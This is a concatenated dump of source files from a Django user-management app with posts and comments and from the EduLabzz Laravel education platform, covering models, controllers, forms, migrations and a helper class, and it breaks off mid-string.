name='password_chane'), path('pasword-change/done/', auth_views.PasswordChangeDoneView.as_view(template_name='login/password_change_done.html'), name='password_change_done'), ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) <file_sep>/comments/views.py from django.contrib.auth.decorators import login_required from django.shortcuts import render, redirect, HttpResponse from comments.models import post, comment, like from django.contrib import messages from login.models import userProfile from django.contrib.auth.models import User, auth @login_required(login_url='/login/login') def create_post(request): print("hello") images = request.FILES.get('image') if request.method == 'POST': comments = [] user_id = request.user.id content = request.POST['comment'] posts = post.objects.create(user_id=user_id, image=images, content=content, comments=comments) posts.save() messages.success(request, "Your post created successfully") return redirect('welcome') else: return render(request, 'comments/create_post.html') return render(request, 'comments/create_post.html') @login_required(login_url='/login/login') def Show_user_post(request): user_id = request.user.id data = post.objects.filter(user_id=user_id) context = {'post_data': data} return render(request, 'comments/Show_user_post.html', context) @login_required(login_url='/login/login') def user_comment(request): if request.method == 'POST': user_comment = request.POST['user_comment'] user_id = request.user.id post_id = request.POST['post_id'] likes = [] comments_data = comment.objects.create(user_id=user_id, messages=user_comment, likes=likes) commentlist = [] postOldDetails = post.objects.filter(id=post_id).all() for pd in postOldDetails: for c in pd.comments: commentlist.append(c) commentlist.append(comments_data) postDetails = post.objects.get(id=post_id) postDetails.comments = commentlist postDetails.save() data = post.objects.filter(user_id=user_id) context = {'post_data': data} return redirect('welcome') else: return redirect('Show_user_post') return render(request, 'comments/Show_user_post.html') @login_required(login_url='/login/login') def show_post_comment(request): post_id = request.GET.get('id') post_comment_detail = post.objects.get(id=post_id) return render(request, 'comments/show_post_comment.html', {'post_comment_detail': post_comment_detail, 'post_id': post_id}) @login_required(login_url='/login/login') def comment_like(request): if request.method == 'POST': user_id = request.user.id comment_id = request.POST['comment_id'] post_id = request.POST['post_id'] if post.objects.filter(id=post_id).exists(): postData = post.objects.get(id=post_id) postComments = postData.comments for i in range(0, len(postComments)): if int(comment_id) == postComments[i].comment_id: if like.objects.filter(user=user_id, comment_id=int(comment_id)).exists(): for comment_data in postComments: if comment_data.comment_id == int(comment_id): for like_data in comment_data.likes: if like_data.user.id == int(user_id): comment_data.likes.pop(comment_data.likes.index(like_data)) postData.save() likeData = like.objects.get(user=user_id, comment_id=int(comment_id)) likeData.delete() comment_update = comment.objects.filter(comment_id=comment_id) for data in comment_update: comment_id = data.comment_id no_of_like = data.no_of_like DEFAULT_VALUE = 0 if no_of_like is None: no_of_like = DEFAULT_VALUE no_of_like = no_of_like - 1 comment.objects.filter(comment_id=comment_id).update(no_of_like=no_of_like) return HttpResponse(str(no_of_like)) else: userObj = User.objects.get(id=user_id) comment_update = comment.objects.filter(comment_id=comment_id) for data in comment_update: comment_id = data.comment_id no_of_like = data.no_of_like DEFAULT_VALUE = 0 if no_of_like is None: no_of_like = DEFAULT_VALUE no_of_like = no_of_like + 1 comment.objects.filter(comment_id=comment_id).update(no_of_like=no_of_like) lokeObj = like.objects.create(user=userObj, comment_id=comment_id) likelist = [] postData.comments[i].likes = [lokeObj] postData.save() return HttpResponse(str(no_of_like)) def like_show(request): post_id = request.GET.get('post_id') like_data = like.objects.filter(post_id=post_id).order_by('-id')[:5] return render(request, 'comments/like_show.html', {'likes': like_data}) <file_sep>/login/models.py from django.db import models from django.contrib.auth.models import User # Create your models here. # from .validation import validate_file_extension from django.forms import ValidationError from django.core.validators import RegexValidator from django.core.validators import MaxValueValidator class userProfile(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) address = models.TextField(blank=True) mobile_no = models.BigIntegerField(primary_key=True, validators=[MaxValueValidator(9999999999)]) city = models.CharField(max_length=50) state = models.CharField(max_length=50) country = models.CharField(max_length=50) profilePicture = models.ImageField(upload_to='photos/%Y/%m/%d') def clean_profilePicture(self): image_file = self.cleaned_data.get('profilePicture') if not image_file.name.endswith(".jpg", ".jpeg", ".png"): raise ValidationError("Only .jpg, .jpeg, .png image accepted") return image_file def __str__(self): return self.user.username <file_sep>/login/form.py from django import forms from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.models import User from .models import * from django.core.exceptions import ValidationError from django.contrib.auth.forms import PasswordResetForm class SignUpForm(UserCreationForm): username = forms.CharField(label='Enter Username', min_length=4, max_length=150) email = forms.EmailField(label='Enter email') password1 = forms.CharField(label='Enter password', widget=forms.PasswordInput) password2 = forms.CharField(label='Confirm password', widget=forms.PasswordInput) class Meta: model = User fields= ('username','email','password1','password2') # def clean_email(self): # username = self.cleaned_data["username"] # email = self.cleaned_data["email"] # users = User.objects.filter(email__iexact=email).exclude(username__iexact=username) # if users: # raise forms.ValidationError(("User with that email already exists.")) # return email.lower() def clean_username(self): username = self.cleaned_data['username'].lower() r = User.objects.filter(username=username) if r.count(): raise ValidationError("Username already exists") return username def clean_email(self): email = self.cleaned_data['email'].lower() r = User.objects.filter(email=email) if r.count(): raise ValidationError("Email already exists") return email def clean_password2(self): password1 = self.cleaned_data.get('password1') password2 = self.cleaned_data.get('password2') if password1 and password2 and password1 != password2: raise ValidationError("Password don't match") return password2 def save(self, commit=True): user = User.objects.create_user( self.cleaned_data['username'], self.cleaned_data['email'], self.cleaned_data['password1'] ) return user class ProfileForm(forms.ModelForm): profilePicture = models.ImageField(upload_to = 'photos/%Y/%m/%d', blank = True) class Meta: model = userProfile fields = ('address','mobile_no','city','state','country','profilePicture') # class AccountAuthenticationForm(forms.ModelForm): # password = forms.CharField(label='Password', widget=forms.PasswordInput) # class Meta: # model = User # fields = ('username', 'password') # def clean(self): # if self.is_valid(): # email = self.cleaned_data['email'] # password = self.cleaned_data['password'] # if not authenticate(email=email, password=password): # raise forms.ValidationError("Invalid login") class EmailValidationOnForgotPassword(PasswordResetForm): def clean_email(self): email = self.cleaned_data['email'] if not User.objects.filter(email__iexact=email, is_active=True).exists(): msg = ("There is no user registered with the specified E-Mail address.") self.add_error('email', msg) return email<file_sep>/pages/views.py from django.shortcuts import render from login.models import userProfile from django.contrib.auth.models import User from django.contrib.auth.decorators import login_required from comments.models import post, like from django.contrib import messages # Create your views here. def index(request): return render(request, 'pages/index.html') # welcome method like Dashboard @login_required(login_url='/login/login') def welcome(request): user_id = request.user.id posts = post.objects.select_related('user', ) context = {'posts': posts, 'user_id': user_id} return render(request, 'pages/welcome.html', context) # show all the User data @login_required(login_url='/login/login') def show_data(request): users = User.objects.all().select_related('userprofile') print(users.query) context = { 'userData': users, } return render(request, 'pages/show_data.html', context) <file_sep>/comments/urls.py from django.urls import path, re_path from django.conf.urls.static import static from django.conf import settings from . import views urlpatterns = [ re_path(r'^create_post?/$', views.create_post, name='create_post'), path('Show_user_post', views.Show_user_post, name='Show_user_post'), path('user_comment', views.user_comment, name='user_comment'), path('show_post_comment', views.show_post_comment, name='show_post_comment'), path('comment_like', views.comment_like, name='comment_like'), path('like_show', views.like_show, name='like_show') ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) <file_sep>/comments/models.py from django.db import models from django.conf import settings from .validation import validate_content from djongo.models import ArrayModelField from django.contrib.auth.models import User from django.utils import timezone from djongo import models from datetime import datetime # Create your models here. # class like(models.Model): comment_id = models.IntegerField(blank=True, null=True) user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) class comment(models.Model): def ids(): no = comment.objects.count() if no == None: return 1 else: return no + 1 comment_id = models.IntegerField(default=ids, unique=True) user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) messages = models.CharField(max_length=140, blank=True) time = models.DateTimeField(auto_now=True) no_of_like = models.IntegerField(blank=True) likes = ArrayModelField(model_container=like, null=True, blank=True) def __str__(self): return self.messages class post(models.Model): user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) image = models.ImageField(upload_to='photos/%Y/%m/%d', blank=True) content = models.CharField(max_length=140, validators=[validate_content], blank=True) updated = models.DateTimeField(default=datetime.now, blank=True) timestamp = models.DateTimeField(default=datetime.now, blank=True) comments = ArrayModelField(model_container=comment, null=True, blank=True) def __str__(self): return self.user.username <file_sep>/comments/admin.py from django.contrib import admin from comments.models import post from comments.models import comment # Register your models here. class posts(admin.ModelAdmin): list_display = ['id','content','image','comments'] class comments(admin.ModelAdmin): list_display = ['comment_id','messages','no_of_like'] list_editable = ['messages',] list_per_page = 10 admin.site.register(post,posts) admin.site.register(comment,comments) <file_sep>/comments/migrations/0001_initial.py # Generated by Django 2.2 on 2020-02-04 11:24 import comments.models import comments.validation import datetime from django.conf import settings from django.db import migrations, models import django.db.models.deletion import djongo.models.fields class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='post', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('image', models.ImageField(blank=True, upload_to='photos/%Y/%m/%d')), ('content', models.CharField(blank=True, max_length=140, validators=[comments.validation.validate_content])), ('updated', models.DateTimeField(blank=True, default=datetime.datetime.now)), ('timestamp', models.DateTimeField(blank=True, default=datetime.datetime.now)), ('comments', djongo.models.fields.ArrayModelField(blank=True, model_container=comments.models.comment, null=True)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='comment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('comment_id', models.IntegerField(default=comments.models.comment.ids, unique=True)), ('messages', models.CharField(blank=True, max_length=140)), ('time', models.DateTimeField(auto_now=True)), ('no_of_like', models.IntegerField(blank=True)), ('likes', djongo.models.fields.ArrayModelField(blank=True, model_container=comments.models.like, null=True)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), ] <file_sep>/login/views.py from django.shortcuts import render, redirect, Http404 from django.core.mail import send_mail from django.conf import settings # from .form import SignUpForm from .form import SignUpForm, ProfileForm from django.contrib.auth.models import auth from django.core.files.storage import FileSystemStorage from django.contrib.auth import login, authenticate, logout from django.contrib import messages from django.contrib.auth.models import User from django.views.decorators.cache import cache_control from django.contrib.auth.tokens import default_token_generator from django.template.loader import render_to_string def signup(request): if request.method == 'POST': form = SignUpForm(request.POST) profileForm = ProfileForm(request.POST, request.FILES) if form.is_valid() and profileForm.is_valid(): print("success") user = form.save() profile = profileForm.save(commit=False) profile.user = user profile.save() return redirect('login') else: # messages.error(request,'Wrong Input') return render(request, 'login/signup.html', {'form': form, 'userProfileForm': profileForm}) else: profileForm = ProfileForm() form = SignUpForm() # context = {'form': profileForm} context = {'form': form, 'userProfileForm': profileForm, } return render(request, 'login/signup.html', context) return render(request, 'login/signup.html', {'form': form, 'userProfileForm': profileForm}) def login(request): if request.method == "POST": username = request.POST['username'] password = request.POST['<PASSWORD>'] user = auth.authenticate(username=username, password=password) if user is not None: auth.login(request, user) messages.success(request, "You are login successfully") return redirect('welcome') else: messages.warning(request, "Username and password are not match") return redirect('login') else: if request.user.is_authenticated: return redirect('/') else: return render(request, 'login/login.html') @cache_control(no_cache=True, must_revalidate=True, no_store=True) def logout_view(request): auth.logout(request) return render(request, 'pages/index.html') def reset_password_view(request): if request.method == 'POST': email = request.POST['email'] admin_email = '<EMAIL>' if email == None or email == "": messages.error(request, email) return redirect('reset_password') else: if User.objects.filter(email=email).exists(): send_mail( 'This mail for reset password', 'just Click Below link to reset password', 'Thank you for using our services.' '<EMAIL>', [admin_email, email], fail_silently=False ) messages.success(request, "Check your E-mail to reset password : " + email) return redirect('reset_password') else: messages.error(request, "Entered email is not match : " + email) return redirect('reset_password') else: # messages.info(request, "Please enter email") return render(request, 'login/reset_password.html')
96b0e65b5ba5413e1ceba7c47b4ceba105036881
[ "Python" ]
11
Python
8264044685/user-managemant
a0ad87713a13e0a1dbcefff09be78c8b9ee252db
c8521e066fd14e4092d37505becfeb4d7bff9f67
refs/heads/master
<repo_name>OSBRProj/EduLabzz1<file_sep>/app/Turma.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Turma extends Model { //Preenchiveis protected $fillable = [ 'id', 'user_id', 'titulo', 'descricao', 'codigo_convite', 'postagem_aberta', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'codigo_convite' => '', 'postagem_aberta' => 1, ]; public function postagens() { return $this->hasMany('App\PostagemTurma', 'turma_id')->with('user')->orderBy('created_at', 'desc'); } public function postagens_comentarios() { return $this->hasMany('App\PostagemTurma', 'turma_id')->with('user', 'comentarios')->orderBy('created_at', 'desc'); } public function alunos() { return $this->hasMany('App\AlunoTurma', 'turma_id'); } public function alunos_user() { return $this->hasMany('App\AlunoTurma', 'turma_id')->with('user'); } public function escola() { return $this->belongsTo('App\Escola', 'escola_id')->withDefault([ 'id' => "1", 'titulo' => "<NAME>" ]); } public function user() { return $this->belongsTo('App\User', 'user_id'); } public function professor() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Entities/Habilidade/Repository.php <?php namespace App\Entities\Habilidade; class Repository { private $habilidade; public function __construct(Habilidade $habilidade) { $this->habilidade = $habilidade; } public function all() { return $this->habilidade->orderBy('id', 'DESC')->get(); } public function categorias() { return $this->habilidade->all()->pluck('categoria')->unique()->toArray(); } public function store($values) { return $this->habilidade->create($values); } public function update($id, $values) { return $this->habilidade->find($id)->update($values); } public function delete($id) { return $this->habilidade->find($id)->delete(); } } <file_sep>/app/Http/Controllers/Audio/Api/AudioApiController.php <?php namespace App\Http\Controllers\Audio\Api; use App\Entities\Audio\Audio; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class AudioApiController extends Controller { public function listar($filter = null) { try { if ($filter !== null) { return response()->json(Audio::where('categoria_id', $filter)->orderBy('id', 'DESC')->get()); } return response()->json(Audio::orderBy('id', 'DESC')->get()); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } public function show($idAudio) { try { $audio = Audio::find($idAudio); if (!$audio) { return response()->json(['error' => 'Nenhum áudio foi encontrado']); } return response()->json($audio); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao encontrar", "message:" => $exception->getMessage()]); } } } <file_sep>/README.md ## <NAME> # Iniciando Após o git clone do projeto: ```bash $ cd crud_api $ docker-compose up -d -- build ``` Acompanhar a instalação e atualização das dependências do composer através do comando: ```bash $ docker-compose logs -f app ``` Após a instalação das dependências, é possível acessar o projeto em `localhost`# edulabzz <file_sep>/app/Http/Middleware/ApiAuthenticate.php <?php namespace App\Http\Middleware; use Illuminate\Support\Facades\Auth; use Closure; class ApiAuthenticate { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { if( Auth::check() == false ) { return response()->json([ "error" => "Não autenticado", "auth" => false ]); } return $next($request); } } <file_sep>/app/AlunoTurma.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class AlunoTurma extends Model { protected $table = 'aluno_turma'; //Preenchiveis protected $fillable = [ 'turma_id', 'user_id', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function turma_professor() { return $this->belongsTo('App\Turma', 'turma_id')->with('professor'); } public function gamificacao() { return $this->hasMany('App\Entities\GamificacaoUsuario\GamificacaoUsuario', 'user_id'); } public function turma() { return $this->belongsTo('App\Turma', 'turma_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/database/migrations/2019_08_08_111945_create_progresso_conteudo_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateProgressoConteudoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('progresso_conteudo', function(Blueprint $table) { $table->integer('id', true); $table->integer('conteudo_id'); $table->integer('user_id'); $table->integer('tipo'); $table->float('progresso', 10, 0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('progresso_conteudo'); } } <file_sep>/app/Entities/Anotacao/Anotacao.php <?php namespace App\Entities\Anotacao; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Anotacao extends Model { protected $table = 'anotacoes'; //Preenchiveis protected $fillable = [ 'id', 'user_id', 'conteudo_id', 'pagina', 'trecho', 'anotacao', 'pos_y', 'pos_x', 'start', 'end', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'anotacao' => '', 'pos_y' => 0, 'pos_x' => 0, 'start' => 0, 'end' => 0, ]; public function conteudo() { return $this->belongsTo('App\Conteudo', 'conteudo_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Entities/Favorito/Favorito.php <?php namespace App\Entities\Favorito; use App\Conteudo; use App\Entities\Album\Album; use Illuminate\Database\Eloquent\Model; use Laracasts\Presenter\PresentableTrait; class Favorito extends Model { protected $table = "favoritos"; //Preenchiveis protected $fillable = [ 'user_id', 'referencia_id', 'tipo', 'conteudo_id', 'album_id', 'audio_id', ]; public function conteudo() { return $this->belongsTo(Conteudo::class, 'referencia_id'); } public function albums() { return $this->belongsTo(Album::class, 'album_id'); } public function audios() { return $this->belongsTo(Album::class, 'audio_id'); } } <file_sep>/app/User.php <?php namespace App; use App\Entities\Album\Album; use Illuminate\Notifications\Notifiable; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Support\Carbon; class User extends Authenticatable { use Notifiable; protected $fillable = [ 'name', 'email', 'password', 'ra', 'img_perfil', 'nome_completo', 'data_nascimento', 'genero', 'descricao', 'escola_id', 'permissao', 'ultima_atividade', ]; protected $hidden = [ 'password', 'remember_token', ]; protected $attributes = [ 'ra' => null, 'img_perfil' => '', 'nome_completo' => '', 'data_nascimento' => '', 'genero' => '', 'descricao' => '', 'escola_id' => 1, 'permissao' => 'A', 'ultima_atividade' => '0000-00-00 00:00:00', ]; protected static $permissoes = [ 'Aluno', 'Professor', 'Gestor', 'Administrador', 'Sem acesso à plataforma', ]; public function albuns() { return $this->hasMany(Album::class, 'user_id')->orderBy('id', 'DESC'); } // Mutators public function getNameAttribute($value) { return ucwords($value); } public function getBornDateAttribute($value) { return date('d/m/Y', strtotime($this->attributes['born_date'])); } public function getAvatarAttribute() { $path = route('usuario.perfil.image', [ $this->id ]); return $path; // $path = env("APP_URL") . '/uploads/usuarios/perfil/' . $this->attributes['avatar']; // if($this->attributes['avatar'] == ''){ // return null; // } // return $path; } public function getPermissaoNameAttribute() { return $this->PermissaoName($this->permissao); } public function turmas_aluno() { return $this->hasMany('App\AlunoTurma', 'user_id')->with('turma_professor'); } public function turmas_instrutor() { return $this->hasMany('App\Turma', 'user_id'); } public function escola() { return $this->belongsTo('App\Escola', 'escola_id'); } public function badges_user() { return $this->hasMany('App\BadgeUsuario', 'user_id')->with('Badge'); } public function progressos() { return $this->hasMany('App\ProgressoConteudo', 'user_id'); } public function endereco() { return $this->hasOne('App\EnderecoUser', 'user_id') ->withDefault([ 'user_id' => null, 'cep' => null, 'uf' => null, 'cidade' => null, 'bairro' => null, 'logradouro' => null, 'numero' => null, 'complemento' => null, ]); } public function notificacoes() { return $this->hasOne('App\ConfiguracoesNotificacoesUser', 'user_id') ->withDefault([ 'user_id' => 1, 'rcb_notif_resp_professor' => 1, 'rcb_notif_resp_aluno' => 1, 'rcb_notif' => 1, ]); } public function gamificacao() { return $this->hasOne('App\Entities\GamificacaoUsuario\GamificacaoUsuario', 'user_id') ->withDefault([ 'xp' => 0 ]); } public static function PermissaoNamed($usuarios) { foreach ($usuarios as $usuario) { if (strrpos(mb_strtoupper($usuario->permissao, 'UTF-8'), "Z") !== false) { $usuario->permissao_name = self::$permissoes[3]; } elseif (strrpos(mb_strtoupper($usuario->permissao, 'UTF-8'), "G") !== false) { $usuario->permissao_name = self::$permissoes[2]; } elseif (strrpos(mb_strtoupper($usuario->permissao, 'UTF-8'), "P") !== false) { $usuario->permissao_name = self::$permissoes[1]; } elseif (strrpos(mb_strtoupper($usuario->permissao, 'UTF-8'), "") !== false) { $usuario->permissao_name = self::$permissoes[4]; } else { $usuario->permissao_name = self::$permissoes[0]; } } return $usuarios; } public static function PermissaoName($permissao) { if (strtoupper($permissao) == "Z") { return self::$permissoes[3]; } if (strtoupper($permissao) == "G") { return self::$permissoes[2]; } if (strtoupper($permissao) == "P") { return self::$permissoes[1]; } else { return self::$permissoes[0]; } } } <file_sep>/app/Http/Controllers/Trilhas/Admin/TrilhasController.php <?php namespace App\Http\Controllers\Trilhas\Admin; use Illuminate\Support\Facades\Input; use App\Curso; use App\Entities\Trilhas\Trilhas; use App\Entities\Trilhas\TrilhasCurso; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; class TrilhasController extends Controller { public function index() { $trilhas = Trilhas::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $trilhas->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $trilhas->when($is_admin == false, function ($query) { return $query->where('user_id', '=', Auth::user()->id); }); $trilhas = $trilhas // ->where('user_id', Auth::user()->id) ->orderBy('id', 'DESC') ->get(); return view('pages.trilhas.admin.index', compact('trilhas')); } public function create() { (Auth::user()->permissao == 'Z' ? $cursos = Curso::orderBy('id', 'DESC')->get() : $cursos = Curso::where('user_id', Auth::user()->id)->orderBy('id', 'DESC')->get()); return view('pages.trilhas.admin.create', compact('cursos')); } public function store(Request $request) { if (!$request->get('curso_id')) { return redirect()->back()->withErrors(['Selecione pelo menos um curso para sua trilha!'])->withInput(); } $this->validate($request, [ 'titulo' => 'required', 'capa' => 'required' ]); $trilha = Trilhas::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), ]); $trilha->cursos()->attach($request->get('curso_id')); /* foreach ($request->get('curso_id') as $cursoId) { TrilhasCurso::create([ 'trilha_id' => $trilha->id, 'curso_id' => $cursoId ]); }*/ if ($request->capa != null) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5($request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('trilhas/capas', $newFileNameCapa, 'public_uploads'); if (!Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa))) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar a capa.'); \Session::flash('popup_style', 'danger'); } else { $trilha->capa = $newFileNameCapa; $trilha->save(); } } return redirect()->back()->with('message', 'Trilha cadastrada com sucesso!'); // return redirect()->route('trilhas.index')->with('message', 'Trilha cadastrada com sucesso!'); } public function edit($idTrilha) { (Auth::user()->permissao == 'Z' ? $cursos = Curso::orderBy('id', 'DESC')->get() : $cursos = Curso::where('user_id', Auth::user()->id)->orderBy('id', 'DESC')->get()); $trilha = Trilhas::find($idTrilha); return view('pages.trilhas.admin.edit', compact('trilha', 'cursos')); } public function update(Request $request, $idTrilha) { if (!$request->get('curso_id')) { return redirect()->back()->withErrors(['Selecione pelo menos um curso para sua trilha!'])->withInput(); } $this->validate($request, ['titulo' => 'required']); $capa = $request->get('capa_atual'); if ($request->file('capa')) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5($request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('trilhas/capas', $newFileNameCapa, 'public_uploads'); if (!Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa))) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar a capa.'); \Session::flash('popup_style', 'danger'); } else { $capa = $newFileNameCapa; Storage::disk('public_uploads')->delete('trilhas/capas/' . $request->get('capa_atual')); } } $trilha = Trilhas::find($idTrilha); $trilha->update([ 'titulo' => $request->get('titulo'), 'capa' => $capa, 'descricao' => $request->get('descricao') ]); $trilha->cursos()->sync($request->get('curso_id')); return redirect()->route('gestao.trilhas.listar')->with('message', 'Trilha atualizada com sucesso!'); } public function destroy($idTrilha) { $trilha = Trilhas::find($idTrilha); if (!$trilha) { return redirect()->back()->withErrors(['Trilha não encontrada!']); } if (Storage::disk('public_uploads')->has('trilhas/capas/' . $trilha->capa)) { Storage::disk('public_uploads')->delete('trilhas/capas/' . $trilha->capa); } TrilhasCurso::where('trilha_id', $idTrilha)->delete(); $trilha->delete(); return redirect()->back()->with('message', 'Trilha excluida com sucesso!'); } } <file_sep>/app/Entities/Agenda/Repository.php <?php namespace App\Entities\Agenda; class Repository { private $agenda; public function __construct(Agenda $agenda) { $this->agenda = $agenda; } public function all($idUser) { return $this->agenda->where('user_id', $idUser)->get(); } public function find($id) { return $this->agenda->find($id); } public function store($values) { return $this->agenda->create($values); } public function update($id, $values) { return $this->agenda->find($id)->update($values); } public function delete($id) { return $this->agenda->find($id)->delete(); } } <file_sep>/app/HelperClass.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Pagination\Paginator; use Illuminate\Support\Collection; use Illuminate\Pagination\LengthAwarePaginator; use Request; class HelperClass extends Model { public static function AppendToUrl($newQueries) { //Retrieve current query strings: $currentQueries = Request::query(); //Merge together current and new query strings: $allQueries = array_merge($currentQueries, $newQueries); //Generate the URL with all the queries: return Request::fullUrlWithQuery($allQueries); } /** * Gera a paginação dos itens de um array ou collection. * * @param array|Collection $items * @param int $perPage * @param int $page * @param array $options * * @return LengthAwarePaginator */ public static function paginate($items, $perPage = 15, $page = null, $options = []) { $page = $page ?: (Paginator::resolveCurrentPage() ?: 1); $items = $items instanceof Collection ? $items : Collection::make($items); $pagination = new LengthAwarePaginator($items->forPage($page, $perPage), $items->count(), $perPage, $page, $options); return $pagination; } public static function RandomString($length) { $char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $char = str_shuffle($char); for ($i = 0, $rand = '', $l = strlen($char) - 1; $i < $length; $i++) { $rand .= $char{mt_rand(0, $l)}; } return $rand; } public static function needSideBar() { if (Request::is('home') || \Request::is('playlists') || \Request::is('plano-de-estudos') || \Request::is('canal-do-professor/*/*') || Request::is('grade-de-aula/data/*') || Request::is('catalogo') || Request::is('historico') || Request::is('historico/*') || Request::is('favoritos') || Request::is('favoritos/*') || Request::is('ranking') || Request::is('plano-de-aulas/*') || Request::is('estatisticas') || Request::is('catalogo') || Request::is('catalogo/*') || Request::is('biblioteca') || Request::is('play/*') || Request::is('aplicacao/*') || Request::is('glossario') || Request::is('glossario/*') || Request::is('perfil/*') || Request::is('turmas') || Request::is('turma/*') || Request::is('habilidades') || Request::is('habilidades/*') || Request::is('agenda') || Request::is('agenda/*') || Request::is('teste-nivelamento') || Request::is('teste-nivelamento/*') || Request::is('professor/*') || Request::is('artigos') || Request::is('artigos/*') || Request::is('escola/*/mural') ) { return true; } else { return false; } } public static function needGestaoSideBar() { if (Request::is('gestao/*') || Request::is('dashboard/*')) { return true; } else { return false; } } public static function getAplicacaoAtual() { if(Request::is('dashboard/*') || Request::is('gestao/escolas') || Request::is('gestao/usuarios')) { return "manager"; } else if(Request::is('gestao/escola/*')) { return "school"; } else if (Request::is('gestao/*')) { return "master"; } else if (Request::is('home') || \Request::is('playlists') || \Request::is('plano-de-estudos') || \Request::is('canal-do-professor/*/*') || Request::is('grade-de-aula/data/*') || Request::is('catalogo') || Request::is('historico') || Request::is('historico/*') || Request::is('favoritos') || Request::is('favoritos/*') || Request::is('ranking') || Request::is('plano-de-aulas/*') || Request::is('estatisticas') || Request::is('catalogo') || Request::is('catalogo/*') || Request::is('biblioteca') || Request::is('play/*') || Request::is('aplicacao/*') || Request::is('glossario') || Request::is('glossario/*') || Request::is('perfil/*') || Request::is('turmas') || Request::is('turma/*') || Request::is('habilidades') || Request::is('habilidades/*') || Request::is('agenda') || Request::is('agenda/*') || Request::is('teste-nivelamento') || Request::is('teste-nivelamento/*') || Request::is('professor/*') || Request::is('artigos') || Request::is('artigos/*') || Request::is('escola/*/mural') ) { return "play"; } else { return false; } } public static function needDocSideBar() { if (Request::is('dashboard/documentacao/*')) { return true; } return false; } public static function needSideBarButton() { if (Request::is('home') || \Request::is('plano-de-estudos') || \Request::is('canal-do-professor/*/*') || Request::is('grade-de-aula/data/*') || Request::is('teste-nivelamento') || Request::is('playlists') || Request::is('catalogo') || Request::is('historico') || Request::is('historico/*') || Request::is('favoritos') || Request::is('favoritos/*') || Request::is('ranking') || Request::is('plano-de-aulas/*') || Request::is('estatisticas') || Request::is('catalogo') || Request::is('catalogo/*') || Request::is('biblioteca') || Request::is('play/*') || Request::is('aplicacao/*') || Request::is('glossario') || Request::is('glossario/*') || Request::is('perfil/*') || Request::is('turmas') || Request::is('turma/*') || Request::is('habilidades') || Request::is('habilidades/*') || Request::is('agenda') || Request::is('professor/*') || Request::is('gestao/*') || Request::is('dashboard/*') || Request::is('artigos') || Request::is('artigos/*') || Request::is('escola/*/mural') ) { return true; } else { return false; } } public static function previousRoute() { try { if(\URL::previous()) { return app('router')->getRoutes()->match(app('request')->create( str_replace(env('APP_URL'), "", \URL::previous()) ))->getName(); } else { return null; } } catch (\Throwable $th) { return null; } } public static function comparePreviousRoute($routeName) { if(\URL::previous()) { if($routeName == self::previousRoute()) { return true; } else { return false; } } else { return null; } } public static function drawCarrinho() { $html = ""; if(\Session::has('carrinho') ? count(\Session::get('carrinho')) > 0 : false) { $total = 0; foreach(\Session::get('carrinho') as $produto) { $total += $produto->preco; $html = $html . '<div class="dropdown-item px-3 py-1 mb-1" style="border-bottom: 1px solid #f8f8f8;width: auto;clear: both;font-weight: 400;color: 